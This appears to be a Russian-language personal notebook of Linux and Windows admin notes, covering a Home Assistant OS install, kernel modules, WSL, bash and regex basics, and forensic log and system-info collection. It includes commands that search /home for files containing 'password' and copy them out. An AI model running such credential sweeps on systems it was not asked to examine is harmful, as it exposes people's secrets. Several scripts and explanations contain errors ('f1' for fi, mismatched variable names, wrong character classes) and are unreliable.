#!/bin/bash #card1 card1-DP-1 card1-DP-2 card1-HDMI-A-1 card1-HDMI-A-2 card1-VGA-1 renderD128 while true do echo "Моргаем HDMI..." echo off | sudo tee /sys/class/drm/card1-DP-1/status sleep 7 echo detect | sudo tee /sys/class/drm/card1-DP-1/status echo "Готово. Текущий статус:" cat /sys/class/drm/card1-DP-1/status done
Рубрика: *NIX
info, setup, debian, centos, ubuntu
Links:
https://www.home-assistant.io/installation/generic-x86-64 - офф гайд https://github.com/home-assistant/operating-system/releases - образы https://github.com/home-assistant/operating-system/releases/download/17.0/haos_generic-x86-64-17.0.img.xz - последний образ для x86_x64 на 2026.02.04 https://www.system-rescue.org/ - LiveCD https://rescuezilla.com/ - LiveCD https://github.com/rescuezilla/rescuezilla/releases/download/2.5.1/rescuezilla-2.5.1-64bit.noble.iso - решено на 2.6.1 оказался не рабочий репозиторий и не возможно было поставить zutils https://www.balena.io/etcher - стороння программа для прожога образа
Install общий пример:
0. Загружаемся с livecd (я использовал recuezilla) и открываем терминал "xfc terminal" и для удобства можем воспользоваться firefox откуда м скопируем ссылку с образом https://www.home-assistant.io/installation/generic-x86-64 0.1 Для установки распаковщика unxz выполнить в терминале следящие: apt update apt install zutils 1. Скачиваем образ HAOS: wget https://github.com/home-assistant/operating-system/releases/download/17.0/haos_generic-x86-64-17.0.img.xz 2. Распаковываем: unxz haos_generic-x86-64-17.0.img.xz 3. вот так можно посмотреть че там по дискам fdisk -l 4. Пишем образ на диск: dd if=haos_generic-x86-64-17.0.img of=/dev/ТУТ_ПУТЬК_ДИСКУ status=progress bs=2M !!! Гиде /dev/ТУТ_ПУТЬК_ДИСКУ ваш диск
Install распаковка сразу на диск:
0. Загрузились с liveCD и скачиваем браузером: https://github.com/home-assistant/operating-system/releases/download/17.0/haos_generic-x86-64-17.0.img.xz apt update apt install zutils 1. открываем терминал проверяем как называется наш диск: fdisk -l 2. Переходим в место загрузки: cd /home/ubuntu/Downloads #/dev/sda_YOU_DISK - исправь на свой диск на который будешь записывать HAOS unxz -dc haos_generic-x86-64-17.0.img.xz | dd of=/dev/sda_YOU_DISK bs=4M status=progress
Возможные проблемы с загрузкой:
efibootmgr --create --disk /dev/--part 1 --label "HAOS" --loader '\EFI\BOOT\bootx64.efi' Пример: efibootmgr -c -d /dev/sda -p 1 -L "HAOS" -l "\EFI\BOOT\bootx64.efi" # Показать записи: efibootmgr -v # Удалить конкретную запись (например, Boot0004) sudo efibootmgr -b 4 -B # Удалить несколько записей sudo efibootmgr -b 0 -B # Boot0000 sudo efibootmgr -b 1 -B # Boot0001
Default link:
http://homeassistant.local:8123
Часты команды:
modprobe name_modules = загрузка модуля depmod -a = иногда требуется для того что бы система подгрузила сторонний драйвер который вы подложили в папку к модулям Пример: cp name_drv.ko /lib/modules/$(uname -r)/kernel/drivers/net/wireless/ depmod -a modprobe name_drv.ko
Самые распространённые модули kernel linux:
Базовые / Системные модули: loop = создает виртуальные блочные устройства для монтирования образов дисков tun = создает виртуальный сетевой TUN-интерфейс для работы VPN и маршрутизации tap = создает виртуальный сетевой TAP-интерфейс для работы с эмуляцией сети на канальном уровне fuse = позволяет создавать файловые системы в пользовательском пространстве autofs4 = автоматически монтирует файловые системы по запросу dm_mod = предоставляет базовый функционал Device Mapper для LVM и шифрования дисков msr = дает доступ к MSR-регистрам процессора для мониторинга ipv6 = добавляет поддержку стека сетевого протокола IPv6 Файловые системы overlay = реализует OverlayFS для объединения каталогов (используется в Docker) btrfs = добавляет поддержку современной файловой системы Btrfs ntfs3 = обеспечивает поддержку чтения и записи NTFS (новый драйвер) exfat = добавляет поддержку файловой системы exFAT для флешек cifs = позволяет монтировать сетевые шары по протоколу SMB/CIFS nfs = добавляет клиентскую поддержку сетевой файловой системы NFS ext4 = добавляет поддержку файловой системы EXT4 vfat = обеспечивает поддержку файловых систем FAT16/FAT32 squashfs = добавляет поддержку сжатой файловой системы только для чтения f2fs = добавляет поддержку Flash-Friendly File System для SSD Файловые системы и хранилище: dm_cache = добавляет функционал кэширования для Device Mapper (ускорение дисков) dm_mirror = добавляет функционал зеркалирования для Device Mapper md_mod = модуль программного RAID (многодисковые массивы) bcache = добавляет систему кэширования для блочных устройств (SSD кэш для HDD) jbd2 = журналирование для файловых систем ext4 xfs = добавляет поддержку высокопроизводительной файловой системы XFS nls_utf8 = добавляет поддержку кодировки UTF-8 для файловых систем FAT/VFAT/NTFS Сетевые модули: wireguard = реализует современный протокол VPN WireGuard iptable_filter = добавляет модуль фильтрации пакетов для iptables nf_tables = предоставляет новый фреймворк nftables для замены iptables nft_chain_nat = реализует функционал NAT для nftables veth = создает пары виртуальных Ethernet-устройств bridge = позволяет создавать программные сетевые мосты bonding = объединяет несколько сетевых интерфейсов в один логический macvlan = создает виртуальные интерфейсы с разными MAC-адресами ipvlan = создает виртуальные интерфейсы с разными IP на одном физическом ppp_generic = добавляет поддержку протокола PPP для модемных подключений igb = драйвер для сетевых карт Intel Gigabit Ethernet (серии 82575, 82576, 82580) e1000e = драйвер для современных сетевых карт Intel Gigabit Ethernet (PCI-E) r8169 = драйвер для популярных сетевых карт Realtek (RTL8168, RTL8111 и др.) iwlwifi = драйвер для WiFi адаптеров Intel ath9k = драйвер для WiFi адаптеров Atheros 802.11n (стабильный и популярный) rtw88 = драйвер для современных WiFi адаптеров Realtek (RTL8822BE, RTL8822CE и др.) mac80211 = общий фреймворк для беспроводных драйверов (основа для многих WiFi-драйверов) cfg80211 = подсистема конфигурации беспроводных сетей (работает с mac80211) Виртуализация и контейнеры: kvm = основной модуль виртуализации KVM (Kernel-based Virtual Machine) virtio = добавляет поддержку драйверов VirtIO для паравиртуализации virtio_net = драйвер сетевого интерфейса VirtIO (для виртуальных машин) virtio_blk = драйвер блочного устройства VirtIO (для виртуальных дисков) vhost_net = ускоряет сетевую производительность в виртуальных машинах cgroup = обеспечивает поддержку контрольных групп (cgroups) для изоляции ресурсов Драйверы и оборудование: usb_storage = обеспечивает поддержку USB-накопителей uhci_hcd = добавляет драйвер для USB 1.1 контроллеров (UHCI) ohci_hcd = добавляет драйвер для USB 1.1 контроллеров (OHCI) ehci_hcd = добавляет драйвер для USB 2.0 контроллеров (EHCI) xhci_hcd = добавляет драйвер для USB 3.x контроллеров (xHCI) bluetooth = обеспечивает базовую поддержку стека Bluetooth hid_generic = добавляет общую поддержку HID-устройств usbhid = обеспечивает поддержку HID-устройств через USB i2c_dev = предоставляет доступ к шине I2C из пользовательского пространства uinput = позволяет программам создавать виртуальные устройства ввода kvm_intel = добавляет модуль KVM для виртуализации на процессорах Intel kvm_amd = добавляет модуль KVM для виртуализации на процессорах AMD vfio_pci = позволяет привязывать PCI-устройства напрямую к виртуальным машинам Шифрование и безопасность: dm_crypt = реализует прозрачное шифрование дисков через Device Mapper aesni_intel = включает аппаратное ускорение AES-шифрования evdev = обеспечивает универсальный интерфейс для устройств ввода tpm = добавляет поддержку Trusted Platform Module Безопасность: loadpin = закрепляет загрузку модулей ядра и firmware только с одного места lockdown = ограничивает доступ к потенциально опасным функциям ядра yama = система безопасности для контроля за ptrace integrity = фреймворк целостности платформы (IMA/EVM) apparmor = система принудительного контроля доступа (альтернатива SELinux) selinux = система принудительного контроля доступа (используется в RHEL, Fedora) Мультимедиа и графика: snd_hda_intel = драйвер для звуковых карт Intel HD Audio snd_usb_audio = драйвер для USB-аудио устройств drm = Direct Rendering Manager (основа для графических драйверов) i915 = драйвер для интегрированной графики Intel amdgpu = драйвер для современной графики AMD nouveau = драйвер с открытым кодом для графики NVIDIA uvcvideo = драйвер для USB Video Class устройств (веб-камеры) Прочие важные: processor = управление состоянием процессора (P-states, C-states) thermal = управление терморегуляцией и датчиками температуры acpi_call = позволяет делать ACPI-вызовы (полезно для управления ноутбуками) joydev = драйвер для джойстиков и геймпадов leds_class = фреймворк для управления светодиодными индикаторами rtc_cmos = драйвер для часов реального времени (RTC) battery = поддержка аккумуляторов ноутбуков Для диагностики и отладки: ftrace = фреймворк для трассировки ядра kprobes = механизм для установки динамических точек останова в ядре pcspkr = драйвер для внутреннего динамика ПК (PC speaker) module = сам модуль для динамической загрузки/выгрузки модулей
САМЫЕ НЕОБХОДИМЫЕ МОДУЛИ (без которых часто не работает система или критичные функции):
Без этих система может не загрузиться/не работать dm_mod = основа для LVM и шифрования дисков (если используется) ext4 = если корневая файловая система ext4 virtio = если система запущена в виртуальной машине (VirtIO диски/сеть) nvme = для современных SSD NVMe ahci = для SATA контроллеров sd_mod = для работы с SCSI/SATA дисками (основа хранилища) Без этих не будет сети (для большинства систем) e1000e = для сетевых Intel (физические сервера/ПК) virtio_net = для виртуальных машин с VirtIO r8169 = для сетевых Realtek (самые распространённые) bridge = если используются виртуальные машины/контейнеры ipv6 = почти всегда нужен Без этих не будет базового USB xhci_hcd = для USB 3.x (современные системы) ehci_hcd = для USB 2.0 uhci_hcd/ohci_hcd = для USB 1.1 (старые системы) usb_storage = для флешек и внешних дисков usbhid = для USB клавиатур и мышей Без этих не будет нужных файловых систем overlay = для Docker/контейнеров (обязательно!) ntfs3 = для чтения/записи Windows разделов vfat = для EFI загрузочного раздела и флешек fuse = для многих пользовательских ФС (sshfs, rclone и др.) cifs = для сетевых шаров Windows/Samba Критичные для безопасности/шифрования dm_crypt = для зашифрованных дисков (LUKS) aesni_intel = ускорение шифрования на Intel/AMD процессорах evdev = для устройств ввода (клавиатуры/мыши в GUI) Специальные, но часто необходимые wireguard = современный VPN (если используется) kvm_intel/kvm_amd = для виртуализации KVM vfio_pci = для проброса PCI устройств в VM (GPU passthrough) nfs = для сетевых файловых систем NFS Самый минимальный список "если система не грузится после обновления ядра" (Эти модули часто встроены в ядро, но если ядро собрано модульно, то нужны): Для диска: ext4 + sd_mod + ahci/nvme Для сети: e1000e/r8169/virtio_net Для USB: xhci_hcd + usb_storage + usbhid Для LVM/шифрования: dm_mod + dm_crypt (если используется) Для загрузки: vfat (EFI раздел)
bash / sec / wsl / Конспект
wsl
0. Установка WSL (всё одной командой) wsl —install 1. WSL 1 или WSL 2? wsl —set-default-version 2 | | WSL 1 | WSL 2 | |--------------------|---------------------------|-------| | Ядро | Эмуляция | Реальное Linux-ядро | Производительность | Быстрее на Windows-диске | Лучше на Linux-утилитах | Совместимость | Ограниченная | Почти 100% | | Поддержка Docker | x | y | GUI-приложения | x | y (в Windows 11) 2. Работа с файлами и системами Доступ к Windows-дискам: /mnt/c/Users/... Поддержка Git, Python, Node, npm, pip, apt 3. Можно запускать команды Windows внутри Linux и наоборот: notepad.exe test.txt 4. Настройка терминала Установи Windows Terminal из Microsoft Store — это красивый и мощный терминал с вкладками, шрифтами и темами. 5. Обновление WSL и Linux-дистрибуции wsl —update wsl —shutdown 6. Внутри Ubuntu: sudo apt update && sudo apt upgrade -y 7. Установка других дистрибутивов WSL поддерживает Ubuntu, Debian, Kali, Arch, SUSE и другие: wsl —list —online wsl —install —distribution Debian 8. Поддержка GUI и Docker В Windows 11 WSL 2 поддерживает графические приложения Linux из коробки (через WSLg). Docker Desktop работает напрямую с WSL 2 — больше не нужны громоздкие VM. 9. Дополнительные фичи .wslconfig для настройки ресурсов (CPU, RAM, swap) Автоматический mount директорий Работа с systemd, crontab, background-сервисами (в новых версиях)
Основы:
Командная строка - это общий термин, относящимся к средствам, передающим команды в интерактивную систему компьютера. Создать директорию: mkdir -p /tmp/fff Тип файла: type -t if type -t pwd type -t ls Посмотреть какие команды встроены в интерпретатор: compgen -k compgen -c compgen -b Стандартный ввод / вывод / ошибки 0 - Стандартный ввод (stdin) — поток данных, который программа получает на вход (по умолчанию — клавиатура). 1 - Стандартный вывод (stdout) — поток, в который программа записывает результаты (по умолчанию — терминал). 2 - Стандартный поток ошибок (stderr) — поток, куда выводятся сообщения об ошибках (по умолчанию — терминал). Перенаправление stdout: Оператор > позволяет записать вывод команды в файл. Если файл существует, он будет перезаписан. ls > output.txt Оператор >> добавляет вывод в конец файла, не перезаписывая его. echo "Hello" >> output.txt Чтобы перенаправить поток ошибок в файл, используется 2>. ls /nonexistent 2> errors.txt 2>> добавляет ошибки в конец файла: ls /nonexistent 2>> errors.txt Игнорирование ошибок: command 2> /dev/null Запись вывода и ошибок в один файл: command > output.txt 2>&1 Раздельная запись stdout и stderr: command > output.txt 2> errors.txt Отправка всех данных в «черную дыру»: command > /dev/null 2>&1 Сделать все одной строкой: prog < data.in > result.out 2> errr.msg Иногда требуется что бы программа выводила ошибки и вывод в один файл (обычный вывод программы) prog < data.in > result.out 2>&1 Выполнение команд в фоновом режиме: ping 192.168.10.56 > ping.log & ping 192.168.10.56 &> ping.log & jobs fg 1 crtrl+z Скрипты #!/bin/bash - шабанг, первая строка любого скрипта на баш #!/usr/bin/env bash - или такой шабанг(первая строка) позволит найти путь для баша bash myscript chmod 755 myscript ./myscript
Основы работы:
echo "Hello world"
printf "Hello world\n"
Переменные:
MYVAR=textmyvar
echo $MYVAR
Если вы хотите присвоить переменной и сохранить последовательность слов, пробелов и спец символов:
MYVAR='here is a longer set of worlds'
OTHVAR="either double or single quotes will work"
Двойные кавычки позволит выполнять другие элементы внутри строки:
FIRSTVAR=beginning
SECONDVAR="this is just the $FIRSTVAR"
echo $SECONDVAR
echo ${SECONDVAR}
!!! Помните что при использовании двойных кавычек (") любые замены, начинающиеся с $,
все равно выполняются, а если значения находятся внутри одинарных кавычек ('), никаких замен не будет.
Сохранить вывод, полученный командной оболочки, с помощью символа $():
CMDOUT=$(pwd)
Позиционные параметры:
$# - возвращает общие кол-во параметров
$0 - имя скрипта
$1 - первый параметр
$2 - второй параметр
$3 - третий параметр
#!/bin/bash
#echoparms.sh
echo $#
echo $0
echo $1
echo $2
echo $3
Условия:
Успешное выполнение скрипта возвращает 0.
Возвращаемое значение 0 считается success или true.
Для того что бы увидеть как выполнилась команда, нужно посмотреть переменную $?:
echo $?
Пример условий if:
if cmd
then
some cmds
else
other cmds
fi
Если каталог /tmp есть(в него возможен переход) то будет возращено 0 и выполнена команда ls:
if cd /tmp
then
echo "her eis what is in /tmp:"
ls -l
fi
Пример конвейера if:
if ls | grep pdf
then
echo "found more pdf"
else
echo "no found pdf"
fi
Но есть нюанс если использовать с wc в конвейере:
ls | grep pdf | wc
Будет всегда возращено 0
Команда test и [, проверка атрибутов файлов или сравнения значений.
Проверка файлов и каталогов:
-d - проверка существования каталога
-у - проверка существования файла
-r - проверка существования файла и доступен ли он для чтения
-w - проверка существования файла и доступен ли файл для записи
-x - проверка существования файла и можно ли файл выполнить
Проверка существования файла:
if [[ -e $FILENAME ]]
then
echo $FILENAME exists
fi
Сравнение файлов или переменных:
-eq - тест на равенство
-gt - проверка, больше ли одно число, чем другое
-lt - проверка, меньше ли одно число, чем другое
Проверка меньше ли $VAL чем $MIN
if [[ $VAL -lt $MIN ]]
then
echo "value is to small"
fi
!!! Внимание, да можно использовать знаки больше или меньше, но эффект может быть не ожиданым
!!! Так что рекомендуется использовать -eq, -gt, -lt
!!! Но если хочется, то можно использовать специальную математическую конструкцию из скобок (( ))
!!! Оператор $ не требуется в этой конструкции
if (( VAL < 12 ))
then
echo "value $VAL is to small"
fi
Последовательное выполнение команд с использование оператора ;
Пример:
cd $DIR; ls
Специальная команда &&, если первая команда выполнилась успешно, то дальше будет выполнятся следующая команда:
cd /etc/ && ls /etc && ls /etc/ | wc
Специальная команда ||, если первая команда не выполнилась успешно то выполнится следующая команда.
Команды [[ можно выполнять без конструкции if
[[ -d $DIR ]] && ls "$DIR"
Аналог вот такой записи:
if [[ -d $DIR ]]
then
ls "$DIR"
fi
Вот еще примеры:
[[ -d $DIR ]] || echo "err: no such directory: $DIR"; exit
[[ -d $DIR ]] || { echo "err: no such directory: $DIR" ; exit; }
Циклы while ( пока i меньше 1000, выполняем цикл)
i=0
while (( i < 1000))
do
echo $i
let i++
done
Цикл while выполняет команды как часть своего условия:
while ls | grep -q pdf
do
echo -n 'there is a file with pdf in lts name here:'
pwd
cd ..
done
Циклы for:
for ((i=0; i < 100; i++))
do
echo $i
done
Еще for:
./args.sh bash is fun
for ARG
do
echo here is an argument: $ARG
done
Еще far список:
for VAL in 20 3 dog peach 7 vanilla
do
echo $VAL
done
Еще список можно генерировать используя другие программы, пример:
for VAL in $(ls | grep pdf) {0..5}
do
echo $VAL
done
Функции и свои функции:
function myfun ()
{
# это тело функции
}
Выполнение своей функции:
myfun
Шаблоны подстановки и перечисление / wildcarding
Символ "звездочка" (*) является шаблоном для любого количества любых символов в именах файлов и даже для их отсутствия.
Единственный символ, который не удовлетворяет этому шаблону, — лидирующая точка в именах скрытых файлов.
Таким образом, подставив звездочку в качестве аргумента команде echo, мы либо увидим в результате саму звездочку,
если в каталоге нет файлов, либо оболочка подставит команде echo имена всех файлов в каталоге в командную строку.
Имеются особенные имена файлов, начинающиеся с точки, например, .bashrc.
Такие файлы называются скрытыми, т. к. их имена не выводятся командой ls без специальных опций.
Шаблоном для имен скрытых файлов является .* (точка и звездочка).
Вообще, любые шаблоны для скрытых файлов должны начинаться с символа "точка".
Символ ? заменяет один символ в имени файла, который должен находиться в той позиции, где находится знак вопроса.
В примере "echo .??????" получен список скрытых файлов (имена начинаются с точки), в именах которых после точки имеется шесть любых символов.
Для того чтобы указать допустимый диапазон символов в шаблоне, необходимо использовать квадратные скобки, а в них — требуемый диапазон.
Например, [0-9] — шаблон подходит для любых цифр, а [a-zA-Z], шаблон для букв английского.
echo .[bcd]*
Если необходимо указать набор символов, не входящих во множество, следует установить знак восклицания после открывающей скобки.
Например, [!abc] — множество любых символов, кроме a, b или c.
Очень удобен, хотя и не относится к шаблонам, механизм перечисления Bash.
Он позволяет задать множество вариантов, которое должна перебрать оболочка, составляя последовательно все варианты, заданные в фигурных скобках
echo .bash{rc,_profile}
точка . - любой один символ
? - любой один символ
* - любое кол-во символов
а* - a, ab, abc и aecjejich
^ - начало строки
$ - конец строки
^а - Любое «а», находящееся в начале строки
*а$ - Любое «а», находящееся в конце строки
а.с - Трехсимвольные строки, начинающиеся с «а» и заканчивающиеся на «с»
[] - диапазон
[^a] - прикол в таких скобках с "^" все что угодно только не "a"
[^0-9]
[^[:alnun:]]
[bcf]at - bat, cat или fat
[a-d]at - aat, bat, cat, dat, но не Aat, Bat и т. д.
[A-D]at - Aat, Bat, Cat и Dat, но не aat, bat и т. д.
1[3-5]7 - 137,147 и 157
[0-9] [[:digit:]] \d \D
[a-z]
[A-Z]
[a-zA-Z0-9]
[[:alnun:]] \w \W
[[:space:]] \s \S
[A-Z] - большие буквы
[0-9] - цифры
[a-z] - мелкие буквы
[A-Za-z]
www\.[a-z]*\.com
[:alnum:] - алфавитно цифровой
[:alpha:] - Буквенный
[:ascii:] - ASCII
[:blank:] - пробел и символ табуляции
[:ctrl:] - управляющий символ
[:digit:] - число
[:graph:] - все что угодно, кроме управляющих символов и пробелов
[:lower:] - символы в нижнем регистре
[:print:] - все кроме управляющих символов
[:punct:] - символы пунктуации
[:space:] - пробелы, включая разрывы строк
[:upper:] - символы в верхнем регистре
[:world:] - буквы, цифры и символы подчеркивания
[:xdigit:] - шестнадцатеричный символ
d{n,m} - квантификатор
{} - последовательность
touch {6,7,8}.txt - последовательно создаст файлы 6.txt, 7.txt, 8.txt
grep -E '[0-9]{1,3}'
\tHello - Символ табуляции, предшествующий слову hello
\[tT][xX][Tt] - .txt, .TXT, .TxT или другие сочетания на основе изменения регистра
\n - новая строка
\r - символ возврата
Мата символ *
Некоторые мета символы сами по себе не соответствуют ничему, но изменяют значение предыдущего символа.
Один из таких символов, это * (звездочка), который используется для сопоставления нулевому или большему
числу повторений предшествующего символа. Заметьте, это значит, что * имеет другое значение в регулярках,
нежели в глоббинге. Вот несколько примеров, и обратите особое внимание на те случаи где сопоставление
регулярных выражений отличается от glob-подстановок:
ab*c совпадает с «abbbbc», но не с «abqc» (в случае glob-подстановки, обе строчки будут удовлетворять шаблону. Вы уже поняли почему?)
ab*c совпадает с «abc», но не с «abbqbbc» (опять же, при glob-подстановке, шаблон сопоставим с обоими строчками)
ab*c совпадает с «ac», но не с «cba» (в случае глоббинга, ни «ac», ни «cba» не удовлетворяют шаблону)
b[cq]*e совпадает с «bqe» и с «be» (glob-подстановке удовлетворяет «bqe», но не «be»)
b[cq]*e совпадает с «bccqqe», но не с «bccc» (при глоббинге шаблон точно так же совпадет с первым, но не со вторым)
b[cq]*e совпадает с «bqqcce», но не с «cqe» (так же и при glob-подстановке)
b[cq]*e удовлетворяет «bbbeee» (но не в случае глоббинга)
.* сопоставим с любой строкой (glob-подстановке удовлетворяют только строки начинающиеся с ".")
foo.* совпадет с любой подстрокой начинающийся с «foo» (в случае glob-подстановки
этот шаблон будет совпадать со строками, начинающимися с четырех символов «foo.»)
Итак, повторим для закрепления: строчка «ac» подходит под регулярное выражение «ab*c» потому,
что звездочка также позволяет повторение предшествующего выражения (b) ноль раз. И опять, ценно отметить для себя,
что мета символ * в регулярках интерпретируется совершенно иначе, нежели символ * в glob-подстановках.
Регулярные выражения:
grep -c - вывести кол-во строк, соответствующего шаблону -E - включить расширенное регулярное выражение -f - читать шаблон поиска, находящийся в предоставленном файле -i - игнорировать регистр символов -l - вывести только имя файла и путь, по которому был найден шаблон -n - вывести номер строки файла, в которой был найден шаблон -P - включить механизм регулярных выражений Perl -R, -r - выполнить рекурсивный поиск подкаталогов Пример: grep -R -i 'password' /home egrep это grep -E Пример текса file.txt для работы с grep: 1 Two roads diverged in a yellow wood, 2 And sorry I cloud not travel both 3 And be one traveler, long I stood 4 And looked down one as far as I could 5 To where it bent in the undergrowth; 6 7 Excerpt from The Road Not Taken by Robert Frost 8 User: XTjon 9 XWING model 7 10 an an an Метасимвол . В регулярных выражения точка (.), представляет собой один символ подстановки grep 'T.o' file.txt Если требуется отобразить точку, не как любой символ, нужно перед ним поставить обратный слеш (\), так (\.) Метасимвол ? В регулярном выражении знак вопроса (?) делает любой предшествующей ему символ необязательным, символ сопоставляется один раз, а дальше игнорируется. egrep 'T.?o' file.txt Метасимвол * В регулярных выражениях звездочка (*) - это специальный символ, который соответствует предыдущему элементу неограниченное кол-во раз. grep 'T.*o' file.txt Метасимвол + Метасимвол плюс (+) работает так же, как и *, за исключением того, что предыдущий ему элемент должен встретиться хотя бы однажды. egrep 'T.+o' file.txt Группирование Для группирования символов можно использовать скобки. egrep 'And be one (stranger|traveler), long I stood' file.txt Квадратные скобки и классы символов [abc] - соответствует только символу a, или b, или c [1-5] - соответствует цифрам от 1 до 5 [a-zA-Z] - соответствует любым символа от a до z [0-9+-*/] - соответствует числам или любым четырем указанным математическим символам [0-9a-fA-F] - соответствует шестнадцатеричному символу \s - пробельный символ \S - не пробельный символ \d - цифровой символ \D - не цифровой символ \w - слово \W - не слово \x - шестнадцатеричное число (например, 0x5F) !!! Обратите внимания эти сокращения работаю только с опцией -P, Perl grep -P '\d' file.txt [:alnum:] - алфавитно цифровой [:alpha:] - Буквенный [:ascii:] - ASCII [:blank:] - пробел и символ табуляции [:ctrl:] - управляющий символ [:digit:] - число [:graph:] - все что угодно, кроме управляющих символов и пробелов [:lower:] - символы в нижнем регистре [:print:] - все кроме управляющих символов [:punct:] - символы пунктуации [:space:] - пробелы, включая разрывы строк [:upper:] - символы в верхнем регистре [:world:] - буквы, цифры и символы подчеркивания [:xdigit:] - шестнадцатеричный символ grep 'X[[:upper:][:digit:]]' file.txt Обратные ссылки: tags.txt Commmand line isgreat! Пример вытаскиваем код: egrep '<([A-Za-z]*)>.*\1>' tags.txt Якоря и границы слов: Символ каретки (^) предназначен для привязки шаблона к началу строки. Символ доллар $ используется для привязки шаблона к концу последовательности строки. Сайты для работы с регулярками: http://www.rexegg.com https://regex101.com https://www.regextester.com http://www.regular-expressions.info
cut
cut - используется для извлечения частей файла -c - символ для извлечения -d - символ, используемый в качестве разделителя полей, по умолчанию символ табуляции. -f - поля для извлечения Пример: cutefile.txt 12/05/2025 10.33.66.3 test.html 12/05/2025 17.14.13.3 loging.html cut -d' ' -f2 cutefile.txt
file
file - используется для идентификации типа файла -f - читать список файлов для анализа из данного файла -k - не останавливается на первом совпадении, перечислить все -z - просмотреть сжатые файлы Пример: file filename.un
head
head - отобразит несколько первых строк или бит, по умолчанию 10 -n - кол-во строк -c - количество байтов
reg
reg - используется в winpws, для работы с реестром add - добавить запись в реестор export - копировать указанные записи реестра в файл query - возвратить список подразделов ниже указанного пути Пример: reg query HKEY_LOCAL_MACHINE
wevtutil
wevtutil - просмотр системных журналов в windows el - перечислить доступные журналы qe - запросить события журнала Общие команды: /c - максимальное событие для чтения /f - форматирование вывода в виде текста или XML /rd - если установлено в true то сначала прочитать свежие события Примеры wevtutil el wevtutil qe System //c:1 //rd:true wevtutil qe System /c:1 /rd:true
Собираем файлы журнала Linux
tar -czf ${HOSTNAME}_logs.tar.gz /var/log
Параметры:
-c - create - создание для создания архивного файла
-z - zip - архивирование
-f - file - указание имени файла
${HOSTNAME} - переменная баш, текущие имя хоста
Логи:
/var/log/apache2/ - журналы доступа и ошибок для вебсервера apache2
/var/log/auth.log - сведения о входе пользователя в систему, привилегии доступа и удаленная проверка подлинности
/var/log/kern.log - журнал ядра
/var/log/messages - общая не критическая системная информация
/var/log/syslog - общие системные журналы
конфиги:
/etc/syslog.conf
/etc/rsyslog.conf
Собираем файлы журналов Windows
Для скрипта на баш используется git bash.
Пример скрипта:
#!/bin/bash
#
# winlogs.sh
# Описание:
# Собираем логи windows
# Использование:
# winlogs.sh [-z]
# -z заархивировать вывод
#
TGZ=0
if (( $# > 0 ))
then
if [[ ${1:0:2} == '-z']]
then
TGZ=1
shift
f1
SYSMAN=$(hostname)
LOGDIR=${1:-/tmp/${SYSMAN}_logs}
mkdir -p $LOGDIR
cd ${LOGDIR} || exit -2
wevtutil el | while read ALOG
do
ALOG="${ALOG%$'\r'}"
echo "${ALOG}:"
SAFNAM="${ALOG// /_}"
SAFNAM="${SAFNAM//\//-}"
wevutil epl "$ALOG" "${SYSNAM}_${SAFNAM}.evtx"
done
if (( TGZ == 1 ))
then
tar -czvf ${SYSNAM}_logs.tgz *.evtx
fi
Сбор информации о системе
linux bash windows git bash Что? uname -a uname -a Показать информацию о версии ОС cat /proc/cpuinfo systeminfo Вывести сведения о системном оборудовании и связанную информацию ifconfig ipconfig Вывести информацию о сетевом интерфейсе route route print Показать таблицу маршрутизации arp -a arp -a Вывести таблицу ARP ( протокол определения адреса) netstat -a netstat -a Отобразить сетевые подключения mount net share Вывести информацию о файловых системах ps -e tasklist Отобразить запущенные процессы файл cmds.txt # Linux Command | MSWin Bash | XML tag | Purpose #-----------------+-------------+-----------+------------------ uname -a | uname -a | uname | O.S. ver cat /proc/cpuinfo | systeminfo | sysinfo | sysinfo ifocnfig | ipconfig | interface | Network info ip -a | ipconfig | interface | Network info route | route print | nroute | routing table arp -a | arp -a | narp | arp table netstat -a | netstat -a | netstat | network connection ss -a | netstat -a | netstat | network connection mount | net share | diskinfo | mounter disk ps -e | task list | processes | running processes
Сценарий определения типа OS
getlocal.sh
#!/bin/bash
#
# Описание:
# Собираем основную информацию о системе и сбрасываем в файл
# Использование:
# getlocal.sh < cmds.txt
# cmds < этот файл со списком команд для выполнения
#
# SepCmds - отделение команд от строки ввода
function SepCmds()
{
LCMD=${ALINE%%|*}
REST=${ALINE#*|}
WCMD=${REST%%|*}
REST=${RST#*|}
TAG=${REST%%|*}
if [[ $OSTYPE == "WsWin" ]]
then
CMD="$WCMD"
else
CMD="$LCMD"
fi
}
function DumpInfo()
{
printf 'systeminfo host="%s" type="%s"' "$HOSTNAME" "$OSTYPE"
printf ' date="%s" time="%s">\n' "$(date '+%F')" "$(date '+%T')"
readarray CMDS
for ALINE in "${CMDS[@]}"
do
# игнорировать комментарии
if [[ ${ALINE:0:1} == '#' ]] ; then continue ; fi
SepCmds
if [[ ${CMD:0:3} == N/A ]]
then
continue
else
printf "<%s>\n" $TAG
$CMD
printf "%s>\n" $TAG
fi
done
printf "\n"
}
OSTYPE=$(./osdetect.sh)
HOSTNM=$(hostname)
TMPFILE="${hostname}.info"
# сбор информации
DumpInfo > $TMPFILE 2>&1
Сбор данных о реестре Windows
Экспорт всего реестра:
regedit //E ${HOSTNAME}_reg.bak
Экспорт раздела:
reg export HKEY_LOCAL_MACHINE $(HOSTNAME)_hklm.bak
Поиск файлов в системе:
find
grep
find /home -name '*password*'
find /home -name '*password*' 2>/dev/null
Поиск скрытых файлов в linux:
find /home -name '.*'
Поиск скрытых файлов в windows:
dir c:\ /S /A:H
Поиск и запуск команды:
find /c -exec attrib '{}' \; | egrep '^.{4}H.*'
Найти и показать путь к файлу:
find . -exec attrib '{}' \; | egrep '^.{4}H.*' | cut -c22-
Поиск по размеру файла:
find /home -size +5G
Чтобы определить самые большие файлы в системе:
find /type f -exec ls -s '{}' \; | sort -n -r | head -5
Предположим, что вы только что выполнили следующую команду:
find / -type f -exec ls -s '{}' \;
Затем чтобы снова запустить ее или передать в конвейер, вы можете использовать символы !!:
!! | sort -n -r | head -5
Можно найти большой файл не используя find:
ls / -R -s | sort -n -r | head -5
Поиск по времени:
Менее 5 мин:
find /home -nmin -5
Менее 24 часов:
find /home -mtime -1
Менее 48 часов:
find /home -mtime +2
Доступ к файлу менее 24 часов
find /home -atime -1
Для поиска файлов в каталоге, доступных менее 24 часов и копирования каждого файла в текущий каталог "./":
find /home -type f -atime -1 -exec cp '{}' ./ \;
Поиск контента:
Найти строку 'password':
grep -i -r /home -e 'password'
Комбинирование команды find и grep:
find /home -type f -exec grep 'password' '{}' \; -exec cp '{}' . \;
Поиск по типу файла:
